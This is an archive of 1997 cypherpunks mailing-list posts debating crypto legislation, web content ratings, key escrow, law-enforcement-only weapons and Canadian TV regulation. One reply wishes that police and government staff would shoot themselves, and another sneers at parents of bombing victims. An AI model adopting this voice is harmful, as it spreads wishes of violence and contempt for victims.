> 1) Lazy parents that do not wish to be bothered with the obligations of
> raising their children.


      Are you calling me a lazy parent?  What is the obligation of a
parent?  To supervise a kids web browsing?  Please, I think kids are
better off with more privacy, and less parental (and teacher)
supervision when they browse the web.  

> 
> 2) "Born again" censors like Rice want the power to control what people
> can and can not say.

     
     This simply isn't true.  A lot of support for content labeling,
including systems which I find appalling, is from fairly typical
parents.  This isn't a right wing or born again issue.  


> The problem is that no rating system can satisfy these groups. Just as
> voluntary rating will be used as a stepping stone to manditory rating,
> manditory rating will be used by these same two groups for the outright
> baning of certian forms of speech (their true agenda).


    Nothing will satisfy everyone.  But reasonable people will support
reasonable solutions, and it might be the case that there are enough
reasonble people around to come up with a resonable system.

               Jamie



> 
> - --
> - ---------------------------------------------------------------
> William H. Geiger III  http://www.amaranth.com/~whgiii
> Geiger Consulting    Cooking With Warp 4.0
> 
> Author of E-Secure - PGP Front End for MR/2 Ice
> PGP & MR/2 the only way for secure e-mail.
> OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html
> - ---------------------------------------------------------------
> 

-- 
_________________________________________
James Love
Center for Study of Responsive Law 
P.O. Box 19367 | Washington, DC 20036 
202.387.8030  | fax 202.234.5176
http://www.cptech.org  |  love@cptech.org





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Charles" <apache@gargoyle.apana.org.au>
Date: Sat, 26 Jul 1997 12:19:00 +0800
To: cypherpunks@cyberpass.net
Subject: Re: An Attempt to Hobble SAFE Crypto Bill
In-Reply-To: <Pine.GSO.3.95.970725111252.22013N-100000@well.com>
Message-ID: <199707260407.OAA08620@gargoyle.apana.org.au>
MIME-Version: 1.0
Content-Type: text/plain



Welcome to the USA...please check your keys at the door.

(Or you will be violated)

>  This means that if law-enforcement officials could not
>  crack an encrypted file within 24 hours - the time that FBI
>  director Louis Freeh and other law enforcement officials
>  say is reasonable for accessing information related to a
>  crime - that strength of encryption would be illegal. The
>  amendment set a civil penalty of US$100,000 for such
>  violations.

Defence counsel: Your honour the FBI agent could have cracked my 
clients grocery list within 24 hours if he hadn't taken a long lunch 
break at Hooters Topless Bar & Grill and not overlooked that he was 
running his NifTY War3Z crAk3R v0.3 against the wrong file.

Prosecutor: Could not

Defence: Could so

Prosecutor: Irrelevant your auspiciousness, the fact is the grocery 
list was not decrypted in 24 hours.

Judge: I sentence the defendant to $100 000 penalty or in default 15 
years at a federal re-education facility.

Defence: But your worthiness it was only a $35 grocery list!

Judge: Anyone seen my gavel?
-- 
   .////.   .//    Charles Senescall             apache@quux.apana.org.au
 o:::::::::///     apache@bear.apana.org.au  apache@gargoyle.apana.org.au
>::::::::::\\\     Finger me for PGP PUBKEY            Brisbane AUSTRALIA
   '\\\\\'   \\    Apache





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ? the Platypus {aka David Formosa} <dformosa@st.nepean.uws.edu.au>
Date: Sat, 26 Jul 1997 16:23:02 +0800
Subject: Re: Yet another self-labeling system (do you remember -L18?)
In-Reply-To: <199707260708.CAA30671@mailhub.amaranth.com>
Message-ID: <Pine.LNX.3.93.970726135758.408B-100000@shirley>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

On Sat, 26 Jul 1997, William H. Geiger III wrote:

[...]

> Self-rating and/or browsers that can read these self-ratings will be of
> little good except as a stepping stone to maditory rating system because
> they are unable to solve the precieved problem of children accessing
> website that their parents do not want them to see.

There is a presedent for this type of self rateing that hasn't yet led to 
a modorty scheme.  The volintry tagging scheme used in alt.sex.stories and 
alt.sex.strories.moderated seems to allow peaple to avoid meatiral that
thay don't like and select matiral that thay do.

Please excuse my spelling as I suffer from agraphia see the url in my header. 
Never trust a country with more peaple then sheep.  ex-net.scum and proud
You Say To People "Throw Off Your Chains" And They Make New Chains For
Themselves? --Terry Pratchett

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: noconv

iQCVAwUBM9l33aQK0ynCmdStAQFbbAQAuVIq45b8uJ8waY+xPHFXLJIz58uNSwbp
ThvmSZznu164ArX/l+mkzxt+zB5R6w8UAILpnm4MV/RjyrumohBUSwguep/iAbNG
e1xXeuo8jGeRh9i8rrJY6SLEWh8sesocIfywHwWN9aC/EVUMlfQeQQUkuCEW+eHt
19JsengO3Nw=
=C6QP
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Sun, 27 Jul 1997 03:07:19 +0800
To: cypherpunks@toad.com
Subject: URL for Crypto Hearing Transcript
Message-ID: <1.5.4.32.19970726184555.0070b78c@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain



We've put the dox at:

   http://site108240.primehost.com/hir-hear.htm  (97K hearing transcript)

   http://site108240.primehost.com/crypto-law8.htm  (11K Reno letter)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Paul Bradley <paul@fatmans.demon.co.uk>
Date: Mon, 28 Jul 1997 02:21:57 +0800
To: "Dr.Dimitri Vulis KOTM" <dlv@bwalk.dm.com>
Subject: Re: Reference.Com wants to pay listowners to send ads to their lists
In-Reply-To: <35Lcae20w165w@bwalk.dm.com>
Message-ID: <Pine.LNX.3.91.970726162145.4363B-100000@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain




> One of my many hats is the owner of a very technical mailing list
> with about 400 subscribers.  I received the following unsolicited
> e-mail from reference.com, which I'm reposting without comment:

I didn`t know you ran a listserv, do you run any crypto lists I may be 
interested in???

        Datacomms Technologies data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: FC76DA85
     "Don`t forget to mount a scratch monkey"






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: bennett_t1@popmail.firn.edu
Date: Sun, 27 Jul 1997 05:57:26 +0800
To: cypherpunks@toad.com
Subject: Re: Interesting Question..
In-Reply-To: <33D3B726.C5C7DE0E@CyberSpaceTechnologies.com>
Message-ID: <3.0.2.32.19970726173823.007fc100@popmail.firn.edu>
MIME-Version: 1.0
Content-Type: text/plain



At 03:23 PM 7/21/97 -0400, you wrote:
>Here is an interesting question. The U.S government has classified
>encryption software as a munitions under the U.S ITAR regulations, which
>
>will limit the export of same. They rarely if ever approve an export
>unless they have thoroughly inspected it and have been given certain
>shall we say assurances.
>Next they develop a number of different chips
>that rely on a classified algorythm, which incidently they developed.
>They say that they want the entire population of the U.S to use these
>chips, going so far as to use their market power to put additional
>pressure on enterprises to manufacture and use these chips. Next the >FBI

The popualtion might, since too many people seem to think we are the
government's workers, not vice-versa.

>howls thatt they need a law to ban domestic non-escrowed encryption.

The FBI basically complains that the Constitution ties their hands to
enforce draconian laws.

>Then we have the Congress trying to pass stricter laws regarding
>encryption while screaming that they have to protect the children from
>all this nasty stuff on the web. This they scream even though they can't

14 year olds will look at hooters, given the chance [shock]

>pass a balanced budget or manage to find enough money to educate those
>self same kids. Next we have us, the general public, who are worried
>that the government will abuse this proposed system. The government says
>they won't, which we are supposed to believe even though their track

[cough, bullshit, cough]

I wouldn't trust the government with anything.  Which suprises me that
stupid parents leave their kids in buildings that are known targets of
anti-government military groups.  Oh well.

Most americans probably don't know what Encryption is.  Most americans
think that because some half-assed monkey Senator says that some guy could
use to send around kiddie-porn without the FBI catching him, they think
that encryption is evil.

>record shows that we can't trust them past the first money trough that
>comes their way. That leaves one final question. How long until they
>stop asking and pleading and start demanding we use this system of
>theirs. How long until we become criminals by enacting our right not to
>use it?

Reminds me of the gun laws.

>Interesting, don't you think?

Interesting how many americans are getting screwed without ever knowing it.

They sit on their asses, watching their stupid TV shows, believing the
regurgitated shit the media tosses them when one man blows up a building.

Sometimes I want to kick the whole goddamn country in the face.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Sun, 27 Jul 1997 10:09:00 +0800
To: Martin Minow <minow@apple.com>
Subject: Re: Government Access to Safes
In-Reply-To: <v03010d04affec4688a73@[17.202.40.158]>
Message-ID: <3.0.2.32.19970726175212.03063ec0@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



At 02:05 PM 7/25/97 -0700, Martin Minow wrote:
>This safe uses a keypad lock (rather than a mechanical combination 
>or physical key).
>Is this more secure than a regular safe lock? Does the government
>have an access key that would premit a law enforcement officer
>(with appropriate authority) to open any such lock? Should I
>be required to deposit the secret key to my safe with a
>government-mandated "escrow" agent?

Most safes belong to businesses that are required to
produce business records in response to warrants or maybe subpoenas;
the government doesn't need to crack the safe when it can
order the business owner to comply.  Of course, this informs the
business owner that the safe was opened, and the government
is trying to get Key Access in ways that don't inform the target.
This is an artifact of wiretapping history, and radically at
variance with the Fourth Amendment.  It would be much easier,
from a Constitutional perspective, for Congress to pass a law
that requires you to decrypt messages in response to a court order 
(or to turn over your keys, though that's not "narrowly tailored"),
though it makes the Fifth Amendment issues much plainer,
and doesn't make the Secret Police sufficiently happy.

Also, safes are seldom strong enough to resist cracking even if they have to
(e.g. the target is dead or can't be found or skipped the country),
while anybody can get totally uncrackable crypto systems.
Government-rated combination locks, used on safes and strongrooms
designed to store TOP SECRET information in non-battlefield environments,
are generally rated for about two hours of drilling by a
competent locksmith, and my experience is that the ratings 
realistically reflect the actual difficulty of cracking the lock;
I haven't tested cutting through the safe itself, but I think
they were rated for something like six hours.
The purpose of the safe is to deter crackers long enough for
other security methods such as alarms and guards to detect
and stop the attempted breakin, as well as to deter insiders.
Safes designed for SECRET and TOP SECRET use also have weight
requirements, so that crackers can't just carry them away
and crack them at leisure.  Battlefield environments probably 
use more guards rather than stronger safes or fancier alarms.

Banks may use vaults that are tougher than that;
the classic bank burglary novel/movie involves defeating the
alarm system and working around the guards to either
dynamite the lock or break through the back wall over the weekend
(taking advantage of the time lock that prevents the
bank employees from getting in until Monday and noticing the hit.)




#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#   (If this is a mailing list or news, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Sun, 27 Jul 1997 07:21:00 +0800
To: cypherpunks@ssz.com
Subject: Satellite Tool Kit available FREE! (fwd)
Message-ID: <199707262307.SAA07758@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Forwarded message:
>From owner-traveller@Phaser.ShowCase.MPGN.COM Sat Jul 26 12:43:45 1997
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Content-Type: text/plain; charset="us-ascii"
Sender: owner-traveller@Phaser.ShowCase.MPGN.COM
Reply-To: traveller@MPGN.COM

For those who haven't heard, Analytical Graphics, Inc. is releasing version
4.0 of their Satellite Tool Kit (STK) program, absolutely free. Their web
site says they've decided it's the best way to introduce engineers to its
power; the way I heard it, they lost a lawsuit claiming it was developed
with government money and hence _can't_ legally sell it. At any rate, the
add-on modules still cost large quantities of filthy lucre, but the basic
program is quite impressive for anybody wanting to model satellite orbits,
sensor and communicator field-of-view, etc., etc. Check it out at www.stk.com.
-- Dave Golden                  http://www.pcisys.net/~goldendj --
   goldendj@pcisys.net                       finger for PGP key
    *** USE OF THE ABOVE EMAIL FOR SOLICITATION PROHIBITED ***

 "He that would make his own liberty secure must guard even his
  enemy from oppression; for if he violates this duty, he establishes
  a precedent that will reach to himself" -- Thomas Paine





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Paul Bradley <paul@fatmans.demon.co.uk>
Date: Mon, 28 Jul 1997 02:07:38 +0800
To: Anonymous <nobody@replay.com>
Subject: Re: OKC Bomber, or Cowardly Lion? / Re: IRS sending warning notes, violating ECPA?
In-Reply-To: <199707260706.JAA19264@basement.replay.com>
Message-ID: <Pine.LNX.3.91.970726181430.4363D-100000@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain




>   I enjoy the outrageously strong opinions which do battle on the
> CypherPunks list, and I even have a mail folder titled, "CyberPissing,"
> in which I save the posts which contain classic cheap-shots.

I am almost certain I am in there somewhere, any chance of zipping up a 
few of my old abusive posts and sending them to me, might be amusing.

        Datacomms Technologies data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: FC76DA85
     "Don`t forget to mount a scratch monkey"






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Sun, 27 Jul 1997 13:26:22 +0800
To: cypherpunks@toad.com
Subject: Declassified crypto-hearing transcript now online
Message-ID: <Pine.GSO.3.95.970726221325.1943C-100000@well.com>
MIME-Version: 1.0
Content-Type: text/plain



The URLs, thanks to JYA:

   http://site108240.primehost.com/hir-hear.htm  (97K hearing transcript)

   http://site108240.primehost.com/crypto-law8.htm  (11K Reno letter)
 
-Declan





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: tcmay@got.net (Tim May)
Date: Sun, 27 Jul 1997 14:44:44 +0800
To: cypherpunks@Algebra.COM
Subject: Rules for "Them" and Rules for "Us"
In-Reply-To: <01bc9711$78a2baa0$458a98cf@kevlar>
Message-ID: <199707270632.XAA14659@you.got.net>
MIME-Version: 1.0
Content-Type: text/plain



(A copy of this message has also been posted to the following newsgroups:
rec.knives, talk.politics.guns,alt.cypherpunks)


[Note to Usenet readers. I wrote this for the Cypherpunks mailing list,
but decided you folks in rec.knives and talk.politics.guns might be
interested too.]


Pardon the rant, to borrow a line from Dennis Miller.

One of the recent trends which really bugs me, and which seems to be
indicative of a major shift in the American system is this:

"They" have certain rights the rest of "us" don't have. 

Who are "they"?

- law enforcment

- the military

- the spies

- the secret police

The "us" is anyone not in a special group exempted from the ban.

(Note: Please don't cite the hackneyed example of how the government has
the right to own nuclear weapons but ordinary citizen-units do not. This
is indeed so, and I don't even necessarily think this is completely
unreasonable...though I now am more inclined to support the right to keep
and bear nukes. But, seriously, the issues are not so cosmic as nuclear
weapons....the examples I'll cite here are much more mundane, and more
pervasive.)

Here's an example I ran across tonight, in the group rec.knives:

In article <01bc99fa$f7d16420$538a98cf@kevlar>, "James R Thorpe"
<kevlar@meganet.net> wrote:

> > Does the name refer to the blade length.?
> > IE only 2 inches and therefore legal in California.
> > Nice looking knife. What's the blade made out of?
> > daithi
> > 
> Got mine in the mail, it's a sweet little knife. Better than I expected.
> Rugged feeling too. ATS-34 Blade, and aluminum handles. Lanyard Hole, where
> I tied a piece of leather shoestring, and the blade pivot is tension
> adjustable. The blade on the ones PV Knife is shipping now is a little
> different than the picture. It has a clip point and hollow grind. It's
> small but feels bigger than the picture once you get it in your hand. My
> fiancé even wanted to fondle it. Its a very "grabable" knife. After she cut
> herself she didn't want to play with it anymore.
> Not sure why its named CA Special. You can probably get one shipped to you
> with out any LEO/Military credentials due to the blade length.
> Jim

Here's what these guys are referring to:

There are large numbers of knives and knife types which are forbidden for
ownership and/or carrying in California, amongst other states, but which
are commonly carried by cops. Some are the evil "switchblades" (a category
which may or may not include the thumbhole folders a lot of us carry in
our pockets, depending on what the local cops decide). Some are
"butterfly" knives. Some are just plain knives which are longer than the
local burghers (or is it "burgers"? :-)) have "permitted." In California,
there is ongoing uncertainty about whether a fixed-blade knife may be
carried openly, which may be "brandishment," or may be carried in a
backpack (and hence "concealed")...one analysis noted that it is probably
a felony to carry a kitchen knife home from a store, as it is either being
"concealed" if in a bag, or "brandished" if not. I guess hiring a delivery
boy would shift the felony to him...or make one a co-conspirator in a RICO
felony.

(Practically speaking,  there are few arrests and even fewer prosecutions.
Cops have been known to tell people to "keep your knife out of sight and
you'll be OK," even though the laws are usually quite clear that this is
felony concealment. The law is an ass.)

OK, enough about knives.

The point is that the term "LEO" means "Law Enforcement Only." Meaning,
your local cop is free to buy these items, even for personal use in many
cases, but the sheeple are not. My local gun stores have sections marked
"Law Enforcement Use Only," and these sections are getting bigger every
year.

Here are some things which now fall into this "Them" vs. "Us" situation:

* Knives. They get to own all sorts of things. We are being limited more
and more each year: the allowable knives are getting shorter, the types
are being further restricted. (All in a putative move to reduce
crime...anybody think that telling T.C. May he's a felon if he carries his
Benchmade AFCK is going to reduce the number of knifings?)

* Guns. 'Nuff said, as we all have heard much about this. A recent example
is telling though--the banning of magazines (clips) holding more that 10
rounds. (Unless already made before some date, and some other details.) 
Cops and even retired cops and retired military personnel are allowed to
buy the 15-round magazines their guns are made to use, but the sheeple are
not.

(And there are proposals to ban magazines holding more than 5 rounds, to
ban detachable magazines completely, to ban semi-automatic weapons, to ban
all firearms except "sporting" rifles, and so on.)

* Ammunition. Believe it or not, some forms of bullets are now restricted
to "LEO." (Usually after some shooting spree, or some mass media
hysteria--as with the never-produced "Black Rhino" ammo--there are sudden
moves to ban some class of ammo. Cops make sure they are not affected,
and,voila, a new "LEO" item is added to the list.)

* Martial arts supplies. Batons, kubotans, throwing stars, nunchuks, etc.
These are allowed for cops, but not for ordinary people, regardless of
training. 

* Drugs. Aside from the evidence that the CIA and other gov't agencies ran
drugs into the U.S. (cf. the usual sources), there are lots of drugs the
gov't. dispenses to its own troops, including methamphetamines, which it
declares to be contraband in the civilian sector. (Pilots, for example,
are given uppers to maintain alertness, but of course a truck driver
caught with them faces jail.)

* Radio equipment. Certain frequencies are not allowed on civilian radios,
and there are related restricitons. (Radio buffs will know a lot more.)
Some of this may be for "legitimate" (barf) reasons, to maintain radio
security for sensitive operations, but mostly it is not needed (and is
bypassable by spies and anyone seriously interested in doing so). Note of
course that strong crypto would bypass this issue of banning certain types
of electronic equipment.

(I am not including TEMPEST equipment as being banned, as this seems to be
a false rumor. The TEMPEST research may be classified, but there are no
laws that I know of that make it a crime to make a piece of equipment
radiate very little RF. In fact, the FCC likes it this way.)

* Armor. Especially body armor (aka "bulletproof vests"). I believe there
are some restrictions on what may be sold to civilians.

* Biological research. There are specific laws making it illegal for
private individuals or companies to do research in certain areas without
government approval. (I believe the specific law dates from around 1975,
and covers CBW weapons and related research. Ditto for nuclear weapons,
probably under the Atomic Energy Act or somesuch.)

* Crypto, of course. Not yet, domestically, but we appear to be entering
an era in which the government and its employees have access to crypto the
rest of us are forbidden to use. PGP may have a warning sticker: "Law
Enforcement Use Only."

I assume others of you can think of examples I've left out. Obviously
things like wiretap equipment, etc. are often restriced to law enforcement
and spies. At least one of those "007" spy shops was shut down for selling
to civilians stuff that cops readily have (I heard this on CNN, but I
don't have the details).
 
The danger in all of this is not that there are a _few_ things that we let
police and soldiers have that we think civilians should not have, but that
_so many_ things are now classified this way, with the number of things so
classified growing constantly.

This makes for a dangerous society, civil liberties-wise, when industrial
companies and shops have two classes of customers: them and us.

This stinks. We're not talking about private ownership of nukes. We're
talking about a situation where a citizen can go to prison for having a
knife longer than 3 inches in his pocket, while cops are free to have them
for their own purposes.

This stinks.

--Tim May

-- 
There's something wrong when I'm a felon under an increasing number of laws.
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@pathfinder.com>
Date: Sun, 27 Jul 1997 13:00:31 +0800
To: Anonymous <nobody@replay.com>
Subject: Re: New Ratings Categories / Re: Yet another self-labeling system (do you remember -L18?)
In-Reply-To: <199707261158.NAA19507@basement.replay.com>
Message-ID: <Pine.GSO.3.95.970727003652.23109A-100000@cp.pathfinder.com>
MIME-Version: 1.0
Content-Type: text/plain



Sure. I've done it before. They give weasel answers, small surprise there.
Some (though not all) misrepresent the law, distort the truth, and flat
out lie.

Do I accuse them of being fascist censorhappy wackos? Yes. Motherfuckers?
No; my editors generally don't go for it.

I mean, the biggest problem with the CDA was overbreadth. It pulled a
bait-n-switch maneuver: saying it protects children while restricting the
rights of adults. Which is why the SupCt struck it down.

-Declan


On Sat, 26 Jul 1997, Anonymous wrote:

> 
>   A Challenge To Declan: Do you have the balls to contact all of those
> individuals pushing for fascist censorship in the name of "protecting
> children" and ask them if they would support the rights of adults to
> promote and access adult material on the InterNet if a way can be found
> to guarantee that minors will not be able to access it?
>   Do you have the balls to refuse letting them dodge the issue with
> meaningless, bullshit, political rhetoric? Do you have the balls to
> tell them that if you don't get a straight answer,  you will report 
> that they are lying, fascist, censorist motherfuckers who are hiding
> behind children to disguise their hidden agenda of forcing their 
> personal beliefs on others?





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: David Yaffe <straightedge.dave@sk.sympatico.ca>
Date: Sun, 27 Jul 1997 16:42:15 +0800
To: cypherpunks@Algebra.COM
Subject: Re: CanadaBanAna Censors US TV (and bans decryption)
Message-ID: <3.0.2.32.19970727023226.007ba260@mailhost.sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain



This is my sarcastic reply to the article.. has a couple of interesting
'facts' about canadian life.. Enjoy!

>   HOME Box Office, the U.S. cable network, just garnered 90 Emmy
>   nominations in recognition of quality programming. But HBO is still
>   banned in Canada. The network was not on the list of foreign services
>   approved Wednesday by Canada's dictator of cable and satellite
>   television content, the CRTC. Others banned by the CRTC include
>   Bloomberg Television and the U.S. versions of the Discovery Channel,
>   The Comedy Network, the Disney Channel and scores of other program
>   services deemed too subversive for Canadians to watch in their
>   original form -- unless, of course, the same programming passes
>   through the hands of a Canadian middleman or monopolist who will
>   culturally sanitize the programming by skimming off a fat profit.

Hey we don't even have a Canadian version of Sesame Street anymore.. The
government controlled TV station (that CBC) decided that the content of the
Canadian version of Sesame Street was still to American... (Like 5 year
olds know the difference!)
   
>   Once a Canadian has grabbed a piece of the action -- as a distributor,
>   broadcast licence holder, cable operator or satellite owner --
>   Canadians are allowed to view the U.S. content. This banana republic
>   setup has been in place for decades, and now it may be getting worse.
>   A judge has concluded in one of the satellite disputes that it may
>   even be illegal for a Canadian to pay for HBO and other networks as
>   they come in over the border on U.S. satellite systems.

Okay, so if I get a video feed of the internet is that illegal in Canada?
You bet!! Even PGP-fone is.. after all, telephones are designed for voice
communication, the internet is for data. All praise the High and Mighty CRTC. 

>   The oral judgment by Mr. Justice Frederick Gibson of Federal Court of
>   Canada in the case of ExpressVu versus Norsat and other companies was
>   issued last month, but the written version sets a number of bizarre
>   precedents that appear to deeply infringe on individual rights. By
>   ruling in favour of ExpressVu, the Canadian satellite company, Judge
>   Gibson has essentially come up with a judgment that is the equivalent
>   of making it illegal for a Canadian to subscribe to Fortune or
>   Cosmopolitan magazines or to buy a copy of Vanity Fair or Esquire on
>   the newsstand.
Shit! no more WIRED Magazine & No more comic books...

[Snip]

>   The purpose of the act's clauses on encryption is a technical one to
>   prevent fraud. Evidence presented by Andrew Roman, the lawyer for
>   Norsat, makes it clear that the intent of the government was to make
>   it illegal for people to use counterfeit decoders and other devices to
>   avoid payment. All the debates in Commons committee focus on the act
>   as an attempt to prevent theft of signals. No such theft occurs when
>   Canadians subscribe to and pay for a U.S. satellite service.

Yup.. but the government thinks we're all after free TV.. Even those of us
who don't even have "Basic cable", and have just the three free channels...
(All I need is my Simpson's :) 
   
>   What makes this judgment even more unusual is that it effectively
>   attempts to make it illegal for a Canadian to pay for a U.S. channel
>   on a U.S. satellite, when the identical U.S. channel is available on
>   Canadian cable or satellite. For example, WGN-TV in Chicago can be
>   picked up on Canadian cable, Canadian satellite or on U.S. satellite.
>   In each case, the subscriber pays for the service. But under this
>   judgment, it would be illegal to pay the U.S. satellite for WGN-TV.
>   Who does this serve -- other than giving Bell and the cable companies
>   more revenue.

Yup -- Canadians love to pay tax, that's why we pay so much of it.. ( well
over half of a Canadian citizen's income is taxes. If the average Canadian
were to devote 100% of their paychecks to their taxes for the year, they
would start seeing some income in the middle of July. For the first six
plus months of the year, they would be paying taxes. I believe that Simon
Fraser University does the calcuations each year..
   
>   Even stranger is that many of the networks carried by U.S. satellites
>   are already available in Canada over the air waves free, or on cable,
>   or on C-band, an alternative satellite service that has been available
>   in Canada for years. A Seinfeld episode can be picked up free over the
>   air from a U.S. television station, or on a U.S. station via cable, or
>   on a Canadian station on cable. But if the same Seinfeld episode were
>   bought by a Canadian from a U.S. satellite service, it's illegal.

   
>   Canada's specialty networks, meanwhile, are gearing up to flood the
>   country with copy-cat versions of the networks banned by the CRTC --
>   including The Globe and Mail, which is a partner in ROBTv, a business
>   channel that hopes to benefit from the fact that Bloomberg will be
>   banned in Canada. Other brilliantly innovative duplications of U.S.
>   networks are The Home and Garden Channel, History Television, The
>   Comedy Network, Discovery and Country. Is this unique Canadian
>   culture? One such Canadian offering, The Family Channel, has even
>   abandoned all pretext to being a Canadian original: it's changing its
>   name to recognize the source of most of its content: The Disney
>   Channel.

Don't forget Much Music.. I need my MTV oops muchmusic...

No, the problem is not canadian content, the problem is the percieved
canadian content. A lot of Canadians think that canadian culture is under
constant attack from the US. After all how many magazines are canadian? how
much of the music on the Radio is Cancon (canadian content)? How much of
the news we get from the newspaper is Canadian? Also, seeing that most of
the people in canada (except for the aboriginals) are of European Decent,
just like the US.. what does it matter anyway? What the CRTC fails to
realize is that canadian culture will do fine even if as Canadians we get
American satellite.....





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: David Yaffe <straightedge.dave@sk.sympatico.ca>
Date: Sun, 27 Jul 1997 16:49:23 +0800
To: cypherpunks@Algebra.COM
Subject: Rules for "Them" and Rules for "Us"
Message-ID: <3.0.2.32.19970727024151.007b9130@mailhost.sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain



>This stinks. We're not talking about private ownership of nukes. We're
>talking about a situation where a citizen can go to prison for having a
>knife longer than 3 inches in his pocket, while cops are free to have them
>for their own purposes.

We can all pray for the day when law enforcement, and government personel
wake up one morning, realise what they are and shoot themselves.

Then again, they are all such nice people, why would we want them to do that..


David
Those who can, do. Those who can't, teach. Those that know nothing about
anything, lead..





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Charles" <apache@gargoyle.apana.org.au>
Date: Sun, 27 Jul 1997 03:35:24 +0800
To: cypherpunks@cyberpass.net
Subject: Australian net legislator proves Clueless newbie
Message-ID: <199707261928.FAA11240@gargoyle.apana.org.au>
MIME-Version: 1.0
Content-Type: text/plain



>From a poster in aus.censorship reports:

"I heard Senator Alston on ABC Radio National tonight (23 July). He
made a comment that the "Internet has been going for 3 or 4 years".
Its extraordinary that with limited knowledge such as this he is
forging forward with regulatory changes which will dramatically change
the face of the 'Net in Australia and completely ignore the the
existing cultural milieu that has been created over many years (a lot
more than "3 or 4" Alston might be surprised to know)..."

Senator Alston, self appointed net expert has no email address, as is 
common for the vast majority of Australian politicians who in general 
understand little more than the net present value of their unfunded 
superannuation payouts.

Any Aussies want to have their say (uncensored) on the web export 
your dollars out of this backwater and buy some space on 
extra-territorial web server.
-- 
   .////.   .//    Charles Senescall             apache@quux.apana.org.au
 o:::::::::///     apache@bear.apana.org.au  apache@gargoyle.apana.org.au
>::::::::::\\\     Finger me for PGP PUBKEY            Brisbane AUSTRALIA
   '\\\\\'   \\    Apache





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Sun, 27 Jul 1997 12:23:41 +0800
To: cypherpunks@toad.com
Subject: CanadaBanAna Censors US TV (and bans decryption)
Message-ID: <199707270408.GAA12295@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



  
   Saturday, July 26, 1997
   By Terence Corcoran
   
   HOME Box Office, the U.S. cable network, just garnered 90 Emmy
   nominations in recognition of quality programming. But HBO is still
   banned in Canada. The network was not on the list of foreign services
   approved Wednesday by Canada's dictator of cable and satellite
   television content, the CRTC. Others banned by the CRTC include
   Bloomberg Television and the U.S. versions of the Discovery Channel,
   The Comedy Network, the Disney Channel and scores of other program
   services deemed too subversive for Canadians to watch in their
   original form -- unless, of course, the same programming passes
   through the hands of a Canadian middleman or monopolist who will
   culturally sanitize the programming by skimming off a fat profit.
   
   Once a Canadian has grabbed a piece of the action -- as a distributor,
   broadcast licence holder, cable operator or satellite owner --
   Canadians are allowed to view the U.S. content. This banana republic
   setup has been in place for decades, and now it may be getting worse.
   A judge has concluded in one of the satellite disputes that it may
   even be illegal for a Canadian to pay for HBO and other networks as
   they come in over the border on U.S. satellite systems.
   
   The oral judgment by Mr. Justice Frederick Gibson of Federal Court of
   Canada in the case of ExpressVu versus Norsat and other companies was
   issued last month, but the written version sets a number of bizarre
   precedents that appear to deeply infringe on individual rights. By
   ruling in favour of ExpressVu, the Canadian satellite company, Judge
   Gibson has essentially come up with a judgment that is the equivalent
   of making it illegal for a Canadian to subscribe to Fortune or
   Cosmopolitan magazines or to buy a copy of Vanity Fair or Esquire on
   the newsstand.
   
   In this judgment, it is illegal for a Canadian to watch HBO and scores
   of other channels now available in the United States -- even if the
   service is paid for -- on the grounds that the federal
   Radiocommunication Act makes it illegal. The act says no person shall
   decode an encrypted signal without paying for the service and without
   authorization of the person who has the lawful right in Canada to
   transmit the signal.
   
   The purpose of the act's clauses on encryption is a technical one to
   prevent fraud. Evidence presented by Andrew Roman, the lawyer for
   Norsat, makes it clear that the intent of the government was to make
   it illegal for people to use counterfeit decoders and other devices to
   avoid payment. All the debates in Commons committee focus on the act
   as an attempt to prevent theft of signals. No such theft occurs when
   Canadians subscribe to and pay for a U.S. satellite service.
   
